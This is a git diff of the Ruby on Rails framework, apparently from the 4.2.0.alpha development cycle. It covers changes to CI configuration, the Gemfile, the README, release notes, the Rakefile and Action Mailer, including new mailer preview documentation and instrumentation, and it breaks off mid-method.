-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/lib/tasks/%name%_tasks.rake (renamed from railties/lib/rails/generators/rails/plugin_new/templates/lib/tasks/%name%_tasks.rake)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/rails/application.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/rails/application.rb)1
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/rails/boot.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/rails/boot.rb)2
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/rails/javascripts.js (renamed from railties/lib/rails/generators/rails/plugin_new/templates/rails/javascripts.js)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/rails/routes.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/rails/routes.rb)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/rails/stylesheets.css (renamed from railties/lib/rails/generators/rails/plugin_new/templates/rails/stylesheets.css)8
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/test/%name%_test.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/test/%name%_test.rb)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/test/integration/navigation_test.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/test/integration/navigation_test.rb)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/test/test_helper.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/test/test_helper.rb)0
-rw-r--r--railties/lib/rails/generators/rails/resource_route/resource_route_generator.rb2
-rw-r--r--railties/lib/rails/generators/rails/scaffold_controller/scaffold_controller_generator.rb2
-rw-r--r--railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb8
-rw-r--r--railties/lib/rails/generators/resource_helpers.rb34
-rw-r--r--railties/lib/rails/generators/test_unit/generator/generator_generator.rb26
-rw-r--r--railties/lib/rails/generators/test_unit/generator/templates/generator_test.rb16
-rw-r--r--railties/lib/rails/generators/test_unit/mailer/mailer_generator.rb9
-rw-r--r--railties/lib/rails/generators/test_unit/mailer/templates/preview.rb13
-rw-r--r--railties/lib/rails/generators/test_unit/model/templates/fixtures.yml2
-rw-r--r--railties/lib/rails/generators/testing/assertions.rb6
-rw-r--r--railties/lib/rails/info.rb8
-rw-r--r--railties/lib/rails/info_controller.rb20
-rw-r--r--railties/lib/rails/mailers_controller.rb73
-rw-r--r--railties/lib/rails/paths.rb35
-rw-r--r--railties/lib/rails/rack.rb2
-rw-r--r--railties/lib/rails/rack/log_tailer.rb2
-rw-r--r--railties/lib/rails/rack/logger.rb9
-rw-r--r--railties/lib/rails/railtie.rb28
-rw-r--r--railties/lib/rails/railtie/configuration.rb2
-rw-r--r--railties/lib/rails/source_annotation_extractor.rb41
-rw-r--r--railties/lib/rails/tasks.rb2
-rw-r--r--railties/lib/rails/tasks/engine.rake2
-rw-r--r--railties/lib/rails/tasks/framework.rake18
-rw-r--r--railties/lib/rails/tasks/log.rake2
-rw-r--r--railties/lib/rails/templates/layouts/application.html.erb4
-rw-r--r--railties/lib/rails/templates/rails/mailers/email.html.erb98
-rw-r--r--railties/lib/rails/templates/rails/mailers/index.html.erb8
-rw-r--r--railties/lib/rails/templates/rails/mailers/mailer.html.erb6
-rw-r--r--railties/lib/rails/templates/rails/welcome/index.html.erb4
-rw-r--r--railties/lib/rails/test_help.rb8
-rw-r--r--railties/lib/rails/test_unit/railtie.rb2
-rw-r--r--railties/lib/rails/test_unit/sub_test_task.rb47
-rw-r--r--railties/lib/rails/test_unit/testing.rake23
-rw-r--r--railties/lib/rails/version.rb12
-rw-r--r--railties/lib/rails/welcome_controller.rb7
-rw-r--r--railties/railties.gemspec2
-rw-r--r--railties/test/abstract_unit.rb12
-rw-r--r--railties/test/app_rails_loader_test.rb10
-rw-r--r--railties/test/application/assets_test.rb23
-rw-r--r--railties/test/application/configuration_test.rb226
-rw-r--r--railties/test/application/initializers/frameworks_test.rb6
-rw-r--r--railties/test/application/initializers/i18n_test.rb45
-rw-r--r--railties/test/application/initializers/load_path_test.rb14
-rw-r--r--railties/test/application/initializers/notifications_test.rb13
-rw-r--r--railties/test/application/loading_test.rb2
-rw-r--r--railties/test/application/mailer_previews_test.rb428
-rw-r--r--railties/test/application/middleware/remote_ip_test.rb10
-rw-r--r--railties/test/application/middleware/session_test.rb2
-rw-r--r--railties/test/application/middleware_test.rb26
-rw-r--r--railties/test/application/multiple_applications_test.rb174
-rw-r--r--railties/test/application/rake/dbs_test.rb93
-rw-r--r--railties/test/application/rake/migrations_test.rb31
-rw-r--r--railties/test/application/rake/notes_test.rb121
-rw-r--r--railties/test/application/rake_test.rb71
-rw-r--r--railties/test/application/routing_test.rb45
-rw-r--r--railties/test/application/test_test.rb84
-rw-r--r--railties/test/application/url_generation_test.rb1
-rw-r--r--railties/test/commands/console_test.rb32
-rw-r--r--railties/test/commands/dbconsole_test.rb96
-rw-r--r--railties/test/commands/server_test.rb58
-rw-r--r--railties/test/configuration/middleware_stack_proxy_test.rb4
-rw-r--r--railties/test/env_helpers.rb4
-rw-r--r--railties/test/generators/app_generator_test.rb148
-rw-r--r--railties/test/generators/argv_scrubber_test.rb136
-rw-r--r--railties/test/generators/controller_generator_test.rb13
-rw-r--r--railties/test/generators/create_migration_test.rb134
-rw-r--r--railties/test/generators/generator_generator_test.rb12
-rw-r--r--railties/test/generators/generator_test.rb85
-rw-r--r--railties/test/generators/generators_test_helper.rb9
-rw-r--r--railties/test/generators/mailer_generator_test.rb61
-rw-r--r--railties/test/generators/migration_generator_test.rb50
-rw-r--r--railties/test/generators/model_generator_test.rb7
-rw-r--r--railties/test/generators/named_base_test.rb19
-rw-r--r--railties/test/generators/namespaced_generators_test.rb4
-rw-r--r--railties/test/generators/plugin_generator_test.rb (renamed from railties/test/generators/plugin_new_generator_test.rb)96
-rw-r--r--railties/test/generators/resource_generator_test.rb6
-rw-r--r--railties/test/generators/scaffold_controller_generator_test.rb10
-rw-r--r--railties/test/generators/scaffold_generator_test.rb24
-rw-r--r--railties/test/generators/shared_generator_tests.rb21
-rw-r--r--railties/test/generators/task_generator_test.rb14
-rw-r--r--railties/test/generators_test.rb6
-rw-r--r--railties/test/isolation/abstract_unit.rb31
-rw-r--r--railties/test/paths_test.rb4
-rw-r--r--railties/test/rack_logger_test.rb10
-rw-r--r--railties/test/railties/engine_test.rb14
-rw-r--r--railties/test/railties/railtie_test.rb8
-rw-r--r--railties/test/test_info_test.rb1
-rw-r--r--railties/test/version_test.rb12
-rw-r--r--tasks/release.rb54
-rwxr-xr-xtools/profile1
-rw-r--r--version.rb9
1414 files changed, 41206 insertions, 20896 deletions
diff --git a/.travis.yml b/.travis.yml
index 012e795caa..9e7a449010 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -1,9 +1,13 @@
script: 'ci/travis.rb'
before_install:
- - gem install bundler
+ - travis_retry gem install bundler
+ - "rvm current | grep 'jruby' && export AR_JDBC=true || echo"
rvm:
- 1.9.3
- 2.0.0
+ - 2.1.1
+ - rbx-2
+ - jruby
env:
- "GEM=railties"
- "GEM=ap,am,amo,as,av"
@@ -11,6 +15,11 @@ env:
- "GEM=ar:mysql2"
- "GEM=ar:sqlite3"
- "GEM=ar:postgresql"
+matrix:
+ allow_failures:
+ - rvm: rbx-2
+ - rvm: jruby
+ fast_finish: true
notifications:
email: false
irc:
@@ -24,3 +33,5 @@ notifications:
rooms:
- secure: "YA1alef1ESHWGFNVwvmVGCkMe4cUy4j+UcNvMUESraceiAfVyRMAovlQBGs6\n9kBRm7DHYBUXYC2ABQoJbQRLDr/1B5JPf/M8+Qd7BKu8tcDC03U01SMHFLpO\naOs/HLXcDxtnnpL07tGVsm0zhMc5N8tq4/L3SHxK7Vi+TacwQzI="
bundler_args: --path vendor/bundle --without test
+services:
+ - memcached
diff --git a/Gemfile b/Gemfile
index 13bee8ee5e..e7bc2585a7 100644
--- a/Gemfile
+++ b/Gemfile
@@ -8,17 +8,23 @@ gemspec
gem 'mocha', '~> 0.14', require: false
gem 'rack-cache', '~> 1.2'
-gem 'bcrypt-ruby', '~> 3.0.0'
-gem 'jquery-rails', '~> 2.2.0'
+gem 'jquery-rails', '~> 3.1.0'
gem 'turbolinks'
gem 'coffee-rails', '~> 4.0.0'
+gem 'arel', github: 'rails/arel', branch: 'master'
+gem 'sprockets-rails', github: 'rails/sprockets-rails', branch: '2-1-stable'
+
+# require: false so bcrypt is loaded only when has_secure_password is used.
+# This is to avoid ActiveModel (and by extension the entire framework)
+# being dependent on a binary library.
+gem 'bcrypt', '~> 3.1.7', require: false
# This needs to be with require false to avoid
# it being automatically loaded by sprockets
gem 'uglifier', '>= 1.3.0', require: false
group :doc do
- gem 'sdoc'
+ gem 'sdoc', '~> 0.4.0'
gem 'redcarpet', '~> 2.2.2', platforms: :ruby
gem 'w3c_validators'
gem 'kindlerb'
@@ -29,22 +35,21 @@ gem 'dalli', '>= 2.2.1'
# Add your own local bundler stuff
local_gemfile = File.dirname(__FILE__) + "/.Gemfile"
-instance_eval File.read local_gemfile if File.exists? local_gemfile
+instance_eval File.read local_gemfile if File.exist? local_gemfile
group :test do
platforms :mri_19 do
gem 'ruby-prof', '~> 0.11.2'
end
- platforms :mri_19, :mri_20 do
- gem 'debugger'
- end
+ # platforms :mri_19, :mri_20 do
+ # gem 'debugger'
+ # end
gem 'benchmark-ips'
end
platforms :ruby do
- gem 'yajl-ruby'
gem 'nokogiri', '>= 1.4.5'
# Needed for compiling the ActionDispatch::Journey parser
@@ -56,16 +61,24 @@ platforms :ruby do
group :db do
gem 'pg', '>= 0.11.0'
gem 'mysql', '>= 2.9.0'
- gem 'mysql2', '>= 0.3.10'
+ gem 'mysql2', '>= 0.3.13'
end
end
platforms :jruby do
- gem 'activerecord-jdbcsqlite3-adapter', '>= 1.2.7'
-
- group :db do
- gem 'activerecord-jdbcmysql-adapter', '>= 1.2.7'
- gem 'activerecord-jdbcpostgresql-adapter', '>= 1.2.7'
+ gem 'json'
+ if ENV['AR_JDBC']
+ gem 'activerecord-jdbcsqlite3-adapter', github: 'jruby/activerecord-jdbc-adapter', branch: 'master'
+ group :db do
+ gem 'activerecord-jdbcmysql-adapter', github: 'jruby/activerecord-jdbc-adapter', branch: 'master'
+ gem 'activerecord-jdbcpostgresql-adapter', github: 'jruby/activerecord-jdbc-adapter', branch: 'master'
+ end
+ else
+ gem 'activerecord-jdbcsqlite3-adapter', '>= 1.3.0'
+ group :db do
+ gem 'activerecord-jdbcmysql-adapter', '>= 1.3.0'
+ gem 'activerecord-jdbcpostgresql-adapter', '>= 1.3.0'
+ end
end
end
diff --git a/RAILS_VERSION b/RAILS_VERSION
index 14b6456d31..59e61f95df 100644
--- a/RAILS_VERSION
+++ b/RAILS_VERSION
@@ -1 +1 @@
-4.1.0.beta
+4.2.0.alpha
diff --git a/README.md b/README.md
index 31ee4c1086..c3577efe53 100644
--- a/README.md
+++ b/README.md
@@ -8,11 +8,6 @@ pattern.
Understanding the MVC pattern is key to understanding Rails. MVC divides your
application into three layers, each with a specific responsibility.
-The _View layer_ is composed of "templates" that are responsible for providing
-appropriate representations of your application's resources. Templates can
-come in a variety of formats, but most view templates are HTML with embedded
-Ruby code (ERB files).
-
The _Model layer_ represents your domain model (such as Account, Product,
Person, Post, etc.) and encapsulates the business logic that is specific to
your application. In Rails, database-backed model classes are derived from
@@ -24,16 +19,26 @@ as provided by the Active Model module. You can read more about Active Record
in its [README](activerecord/README.rdoc).
The _Controller layer_ is responsible for handling incoming HTTP requests and
-providing a suitable response. Usually this means returning HTML, but Rails
-controllers can also generate XML, JSON, PDFs, mobile-specific views, and
-more. Controllers manipulate models and render view templates in order to
-generate the appropriate HTTP response.
+providing a suitable response. Usually this means returning HTML, but Rails controllers
+can also generate XML, JSON, PDFs, mobile-specific views, and more. Controllers load and
+manipulate models, and render view templates in order to generate the appropriate HTTP response.
+In Rails, incoming requests are routed by Action Dispatch to an appropriate controller, and
+controller classes are derived from `ActionController::Base`. Action Dispatch and Action Controller
+are bundled together in Action Pack. You can read more about Action Pack in its
+[README](actionpack/README.rdoc).
+
+The _View layer_ is composed of "templates" that are responsible for providing
+appropriate representations of your application's resources. Templates can
+come in a variety of formats, but most view templates are HTML with embedded
+Ruby code (ERB files). Views are typically rendered to generate a controller response,
+or to generate the body of an email. In Rails, View generation is handled by Action View.
+You can read more about Action View in its [README](actionview/README.rdoc).
-In Rails, the Controller and View layers are handled together by Action Pack.
-These two layers are bundled in a single package due to their heavy interdependence.
-This is unlike the relationship between Active Record and Action Pack, which are
-independent. Each of these packages can be used independently outside of Rails. You
-can read more about Action Pack in its [README](actionpack/README.rdoc).
+Active Record, Action Pack, and Action View can each be used independently outside Rails.
+In addition to them, Rails also comes with Action Mailer ([README](actionmailer/README.rdoc)), a library
+to generate and send emails; and Active Support ([README](activesupport/README.rdoc)), a collection of
+utility classes and standard library extensions that are useful for Rails, and may also be used
+independently outside Rails.
## Getting Started
@@ -54,7 +59,8 @@ can read more about Action Pack in its [README](actionpack/README.rdoc).
Run with `--help` or `-h` for options.
-4. Go to http://localhost:3000 and you'll see: "Welcome aboard: You're riding Ruby on Rails!"
+4. Using a browser, go to `http://localhost:3000` and you'll see:
+"Welcome aboard: You're riding Ruby on Rails!"
5. Follow the guidelines to start developing your application. You may find
the following resources handy:
@@ -70,8 +76,7 @@ We encourage you to contribute to Ruby on Rails! Please check out the
## Code Status
-* [![Build Status](https://api.travis-ci.org/rails/rails.png)](https://travis-ci.org/rails/rails)
-* [![Dependencies](https://gemnasium.com/rails/rails.png?travis)](https://gemnasium.com/rails/rails)
+* [![Build Status](https://travis-ci.org/rails/rails.svg?branch=master)](https://travis-ci.org/rails/rails)
## License
diff --git a/RELEASING_RAILS.rdoc b/RELEASING_RAILS.rdoc
index 6f8c79eef2..c6c1c12e87 100644
--- a/RELEASING_RAILS.rdoc
+++ b/RELEASING_RAILS.rdoc
@@ -110,10 +110,10 @@ what to do in case anything goes wrong:
$ rake all:build
$ git commit -am'updating RAILS_VERSION'
- $ git tag -m'tagging rc release' v3.0.10.rc1
+ $ git tag -m 'v3.0.10.rc1 release' v3.0.10.rc1
$ git push
$ git push --tags
- $ for i in $(ls dist); do gem push $i; done
+ $ for i in $(ls pkg); do gem push $i; done
=== Send Rails release announcements
@@ -158,7 +158,7 @@ commits should be added to the release branch besides regression fixing commits.
== Day of release
Many of these steps are the same as for the release candidate, so if you need
-more explanation on a particular step, so the RC steps.
+more explanation on a particular step, see the RC steps.
Today, do this stuff in this order:
@@ -203,34 +203,3 @@ There are two simple steps for fixing the CI:
2. Fix it
Repeat these steps until the CI is green.
-
-=== Manually trigger docs generation
-
-We have a post-receive hook in GitHub that calls the docs server on pushes.
-It triggers generation and publication of edge docs, updates the contrib app,
-and generates and publishes stable docs if a new stable tag is detected.
-
-The hook unfortunately is not invoked by tag pushing, so once the new stable
-tag has been pushed to origin, please run
-
- rake publish_docs
-
-You should see something like this:
-
- Rails master hook tasks scheduled:
-
- * updates the local checkout
- * updates Rails Contributors
- * generates and publishes edge docs
-
- If a new stable tag is detected it also
-
- * generates and publishes stable docs
-
- This needs typically a few minutes.
-
-Note you do not need to specify the tag, the docs server figures it out.
-
-Also, don't worry if you call that multiple times or the hook is triggered
-again by some immediate regular push, if the scripts are running new calls
-are just queued (in a queue of size 1).
diff --git a/Rakefile b/Rakefile
index 9645788307..0737afd089 100644
--- a/Rakefile
+++ b/Rakefile
@@ -11,7 +11,7 @@ task :build => "all:build"
desc "Release all gems to rubygems and create a tag"
task :release => "all:release"
-PROJECTS = %w(activesupport activemodel actionpack actionmailer activerecord railties)
+PROJECTS = %w(activesupport activemodel actionpack actionview actionmailer activerecord railties)
desc 'Run all tests by default'
task :default => %w(test test:isolated)
@@ -36,48 +36,18 @@ task :smoke do
end
desc "Install gems for all projects."
-task :install => :build do
- version = File.read("RAILS_VERSION").strip
- (PROJECTS - ["railties"]).each do |project|
- puts "INSTALLING #{project}"
- system("gem install #{project}/pkg/#{project}-#{version}.gem --local --no-ri --no-rdoc")
- end
- system("gem install railties/pkg/railties-#{version}.gem --local --no-ri --no-rdoc")
- system("gem install pkg/rails-#{version}.gem --local --no-ri --no-rdoc")
-end
+task :install => "all:install"
desc "Generate documentation for the Rails framework"
-Rails::API::RepoTask.new('rdoc')
-
-desc 'Bump all versions to match version.rb'
-task :update_versions do
- require File.dirname(__FILE__) + "/version"
-
- File.open("RAILS_VERSION", "w") do |f|
- f.puts Rails.version
- end
-
- constants = {
- "activesupport" => "ActiveSupport",
- "activemodel" => "ActiveModel",
- "actionpack" => "ActionPack",
- "actionmailer" => "ActionMailer",
- "activerecord" => "ActiveRecord",
- "railties" => "Rails"
- }
-
- version_file = File.read("version.rb")
-
- PROJECTS.each do |project|
- Dir["#{project}/lib/*/version.rb"].each do |file|
- File.open(file, "w") do |f|
- f.write version_file.gsub(/Rails/, constants[project])
- end
- end
- end
+if ENV['EDGE']
+ Rails::API::EdgeTask.new('rdoc')
+else
+ Rails::API::StableTask.new('rdoc')
end
-#
+desc 'Bump all versions to match RAILS_VERSION'
+task :update_versions => "all:update_versions"
+
# We have a webhook configured in GitHub that gets invoked after pushes.
# This hook triggers the following tasks:
#
@@ -87,11 +57,6 @@ end
# * if there's a new stable tag, generates and publishes stable docs
#
# Everything is automated and you do NOT need to run this task normally.
-#
-# We publish a new version by tagging, and pushing a tag does not trigger
-# that webhook. Stable docs would be updated by any subsequent regular
-# push, but if you want that to happen right away just run this.
-#
desc 'Publishes docs, run this AFTER a new stable tag has been pushed'
task :publish_docs do
Net::HTTP.new('api.rubyonrails.org', 8080).start do |http|
diff --git a/actionmailer/CHANGELOG.md b/actionmailer/CHANGELOG.md
index 9e9d07b386..6203699405 100644
--- a/actionmailer/CHANGELOG.md
+++ b/actionmailer/CHANGELOG.md
@@ -1,3 +1 @@
-* No changes.
-
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for previous changes.
+Please check [4-1-stable](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md) for previous changes.
diff --git a/actionmailer/MIT-LICENSE b/actionmailer/MIT-LICENSE
index 5c668d9624..d58dd9ed9b 100644
--- a/actionmailer/MIT-LICENSE
+++ b/actionmailer/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/actionmailer/README.rdoc b/actionmailer/README.rdoc
index a14a6ba18f..67b64fe469 100644
--- a/actionmailer/README.rdoc
+++ b/actionmailer/README.rdoc
@@ -61,9 +61,7 @@ generated would look like this:
Thank you for signing up!
-In previous version of Rails you would call <tt>create_method_name</tt> and
-<tt>deliver_method_name</tt>. Rails 3.0 has a much simpler interface - you
-simply call the method and optionally call +deliver+ on the return value.
+In order to send mails, you simply call the method and then call +deliver+ on the return value.
Calling the method returns a Mail Message object:
@@ -76,7 +74,7 @@ Or you can just chain the methods together like:
== Setting defaults
-It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers e-mail messages has, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you won't need to worry about that. Finally, it is also possible to pass in a Proc that will get evaluated when it is needed.
+It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method <tt>default</tt> which you get for free from <tt>ActionMailer::Base</tt>. This method accepts a Hash as the parameter. You can use any of the headers email messages have, like <tt>:from</tt> as the key. You can also pass in a string as the key, like "Content-Type", but Action Mailer does this out of the box for you, so you won't need to worry about that. Finally, it is also possible to pass in a Proc that will get evaluated when it is needed.
Note that every value you set with this method will get overwritten if you use the same key in your mailer method.
@@ -104,7 +102,7 @@ Example:
)
if email.has_attachments?
- email.attachments.each do |attachment|
+ email.attachments.each do |attachment|
page.attachments.create({
file: attachment, description: email.subject
})
diff --git a/actionmailer/Rakefile b/actionmailer/Rakefile
index 5d5539df1d..5ddd90020b 100644
--- a/actionmailer/Rakefile
+++ b/actionmailer/Rakefile
@@ -14,9 +14,8 @@ Rake::TestTask.new { |t|
namespace :test do
task :isolated do
- ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
Dir.glob("test/**/*_test.rb").all? do |file|
- sh(ruby, '-w', '-Ilib:test', file)
+ sh(Gem.ruby, '-w', '-Ilib:test', file)
end or raise "Failures"
end
end
diff --git a/actionmailer/actionmailer.gemspec b/actionmailer/actionmailer.gemspec
index c56b6979ef..9b25feaf75 100644
--- a/actionmailer/actionmailer.gemspec
+++ b/actionmailer/actionmailer.gemspec
@@ -20,6 +20,7 @@ Gem::Specification.new do |s|
s.requirements << 'none'
s.add_dependency 'actionpack', version
+ s.add_dependency 'actionview', version
s.add_dependency 'mail', '~> 2.5.4'
end
diff --git a/actionmailer/lib/action_mailer.rb b/actionmailer/lib/action_mailer.rb
index c45124be80..83969d4074 100644
--- a/actionmailer/lib/action_mailer.rb
+++ b/actionmailer/lib/action_mailer.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -22,7 +22,6 @@
#++
require 'abstract_controller'
-require 'action_view'
require 'action_mailer/version'
# Common Active Support usage in Action Mailer
@@ -42,6 +41,8 @@ module ActionMailer
autoload :Base
autoload :DeliveryMethods
autoload :MailHelper
+ autoload :Preview
+ autoload :Previews, 'action_mailer/preview'
autoload :TestCase
autoload :TestHelper
end
diff --git a/actionmailer/lib/action_mailer/base.rb b/actionmailer/lib/action_mailer/base.rb
index fcdd6747b8..652ce0b3d8 100644
--- a/actionmailer/lib/action_mailer/base.rb
+++ b/actionmailer/lib/action_mailer/base.rb
@@ -3,6 +3,7 @@ require 'action_mailer/collector'
require 'active_support/core_ext/string/inflections'
require 'active_support/core_ext/hash/except'
require 'active_support/core_ext/module/anonymous'
+
require 'action_mailer/log_subscriber'
module ActionMailer
@@ -49,8 +50,8 @@ module ActionMailer
#
# * <tt>mail</tt> - Allows you to specify email to be sent.
#
- # The hash passed to the mail method allows you to specify any header that a Mail::Message
- # will accept (any valid Email header including optional fields).
+ # The hash passed to the mail method allows you to specify any header that a <tt>Mail::Message</tt>
+ # will accept (any valid email header including optional fields).
#
# The mail method, if not passed a block, will inspect your views and send all the views with
# the same name as the method, so the above action would send the +welcome.text.erb+ view
@@ -93,7 +94,7 @@ module ActionMailer
# Hi <%= @account.name %>,
# Thanks for joining our service! Please check back often.
#
- # You can even use Action Pack helpers in these views. For example:
+ # You can even use Action View helpers in these views. For example:
#
# You got a new note!
# <%= truncate(@note.body, length: 25) %>
@@ -153,7 +154,7 @@ module ActionMailer
# * signup_notification.text.erb
# * signup_notification.html.erb
# * signup_notification.xml.builder
- # * signup_notification.yaml.erb
+ # * signup_notification.yml.erb
#
# Each would be rendered and added as a separate part to the message, with the corresponding content
# type. The content type for the entire message is automatically set to <tt>multipart/alternative</tt>,
@@ -228,7 +229,7 @@ module ActionMailer
# An interceptor class must implement the <tt>:delivering_email(message)</tt> method which will be
# called before the email is sent, allowing you to make modifications to the email before it hits
# the delivery agents. Your class should make any needed modifications directly to the passed
- # in Mail::Message instance.
+ # in <tt>Mail::Message</tt> instance.
#
# = Default Hash
#
@@ -307,6 +308,43 @@ module ActionMailer
# Note that unless you have a specific reason to do so, you should prefer using before_action
# rather than after_action in your ActionMailer classes so that headers are parsed properly.
#
+ # = Previewing emails
+ #
+ # You can preview your email templates visually by adding a mailer preview file to the
+ # <tt>ActionMailer::Base.preview_path</tt>. Since most emails do something interesting
+ # with database data, you'll need to write some scenarios to load messages with fake data:
+ #
+ # class NotifierPreview < ActionMailer::Preview
+ # def welcome
+ # Notifier.welcome(User.first)
+ # end
+ # end
+ #
+ # Methods must return a <tt>Mail::Message</tt> object which can be generated by calling the mailer
+ # method without the additional <tt>deliver</tt>. The location of the mailer previews
+ # directory can be configured using the <tt>preview_path</tt> option which has a default
+ # of <tt>test/mailers/previews</tt>:
+ #
+ # config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+ #
+ # An overview of all previews is accessible at <tt>http://localhost:3000/rails/mailers</tt>
+ # on a running development server instance.
+ #
+ # Previews can also be intercepted in a similar manner as deliveries can be by registering
+ # a preview interceptor that has a <tt>previewing_email</tt> method:
+ #
+ # class CssInlineStyler
+ # def self.previewing_email(message)
+ # # inline CSS styles
+ # end
+ # end
+ #
+ # config.action_mailer.register_preview_interceptor :css_inline_styler
+ #
+ # Note that interceptors need to be registered both with <tt>register_interceptor</tt>
+ # and <tt>register_preview_interceptor</tt> if they should operate on both sending and
+ # previewing emails.
+ #
# = Configuration options
#
# These options are specified on the class level, like
@@ -316,7 +354,7 @@ module ActionMailer
# per the above section.
#
# * <tt>logger</tt> - the logger is used for generating information on the mailing run if available.
- # Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.
+ # Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and Log4r loggers.
#
# * <tt>smtp_settings</tt> - Allows detailed configuration for <tt>:smtp</tt> delivery method:
# * <tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default
@@ -334,8 +372,9 @@ module ActionMailer
# and starts to use it.
# * <tt>:openssl_verify_mode</tt> - When using TLS, you can set how OpenSSL checks the certificate. This is
# really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name
- # of an OpenSSL verify constant ('none', 'peer', 'client_once', 'fail_if_no_peer_cert') or directly the
- # constant (OpenSSL::SSL::VERIFY_NONE, OpenSSL::SSL::VERIFY_PEER, ...).
+ # of an OpenSSL verify constant (<tt>'none'</tt>, <tt>'peer'</tt>, <tt>'client_once'</tt>,
+ # <tt>'fail_if_no_peer_cert'</tt>) or directly the constant (<tt>OpenSSL::SSL::VERIFY_NONE</tt>,
+ # <tt>OpenSSL::SSL::VERIFY_PEER</tt>, ...).
#
# * <tt>sendmail_settings</tt> - Allows you to override options for the <tt>:sendmail</tt> delivery method.
# * <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
@@ -350,7 +389,7 @@ module ActionMailer
#
# * <tt>delivery_method</tt> - Defines a delivery method. Possible values are <tt>:smtp</tt> (default),
# <tt>:sendmail</tt>, <tt>:test</tt>, and <tt>:file</tt>. Or you may provide a custom delivery method
- # object e.g. MyOwnDeliveryMethodClass. See the Mail gem documentation on the interface you need to
+ # object e.g. +MyOwnDeliveryMethodClass+. See the Mail gem documentation on the interface you need to
# implement for a custom delivery agent.
#
# * <tt>perform_deliveries</tt> - Determines whether emails are actually sent from Action Mailer when you
@@ -361,17 +400,25 @@ module ActionMailer
# <tt>delivery_method :test</tt>. Most useful for unit and functional testing.
class Base < AbstractController::Base
include DeliveryMethods
+ include Previews
+
abstract!
- include AbstractController::Logger
include AbstractController::Rendering
- include AbstractController::Layouts
+
+ include AbstractController::Logger
include AbstractController::Helpers
include AbstractController::Translation
include AbstractController::AssetPaths
include AbstractController::Callbacks
- self.protected_instance_variables = [:@_action_has_layout]
+ include ActionView::Layouts
+
+ PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [:@_action_has_layout]
+
+ def _protected_ivars # :nodoc:
+ PROTECTED_IVARS
+ end
helper ActionMailer::MailHelper
@@ -397,18 +444,30 @@ module ActionMailer
end
# Register an Observer which will be notified when mail is delivered.
- # Either a class or a string can be passed in as the Observer. If a string is passed in
- # it will be +constantize+d.
+ # Either a class, string or symbol can be passed in as the Observer.
+ # If a string or symbol is passed in it will be camelized and constantized.
def register_observer(observer)
- delivery_observer = (observer.is_a?(String) ? observer.constantize : observer)
+ delivery_observer = case observer
+ when String, Symbol
+ observer.to_s.camelize.constantize
+ else
+ observer
+ end
+
Mail.register_observer(delivery_observer)
end
# Register an Interceptor which will be called before mail is sent.
- # Either a class or a string can be passed in as the Interceptor. If a string is passed in
- # it will be <tt>constantize</tt>d.
+ # Either a class, string or symbol can be passed in as the Interceptor.
+ # If a string or symbol is passed in it will be camelized and constantized.
def register_interceptor(interceptor)
- delivery_interceptor = (interceptor.is_a?(String) ? interceptor.constantize : interceptor)
+ delivery_interceptor = case interceptor
+ when String, Symbol
+ interceptor.to_s.camelize.constantize
+ else
+ interceptor
+ end
+
Mail.register_interceptor(delivery_interceptor)
end
@@ -456,11 +515,11 @@ module ActionMailer
end
end
- # Wraps an email delivery inside of ActiveSupport::Notifications instrumentation.
+ # Wraps an email delivery inside of <tt>ActiveSupport::Notifications</tt> instrumentation.
#
- # This method is actually called by the Mail::Message object itself
- # through a callback when you call +:deliver+ on the Mail::Message,
- # calling +deliver_mail+ directly and passing a Mail::Message will do
+ # This method is actually called by the <tt>Mail::Message</tt> object itself
+ # through a callback when you call <tt>:deliver</tt> on the <tt>Mail::Message</tt>,
+ # calling +deliver_mail+ directly and passing a <tt>Mail::Message</tt> will do
# nothing except tell the logger you sent the email.
def deliver_mail(mail) #:nodoc:
ActiveSupport::Notifications.instrument("deliver.action_mailer") do |payload|
@@ -509,11 +568,18 @@ module ActionMailer
process(method_name, *args) if method_name
end
- def process(*args) #:nodoc:
- lookup_context.skip_default_locale!
+ def process(method_name, *args) #:nodoc:
+ payload = {
+ mailer: self.class.name,
+ action: method_name
+ }
- super
- @_message = NullMail.new unless @_mail_was_called
+ ActiveSupport::Notifications.instrument("process.action_mailer", payload) do
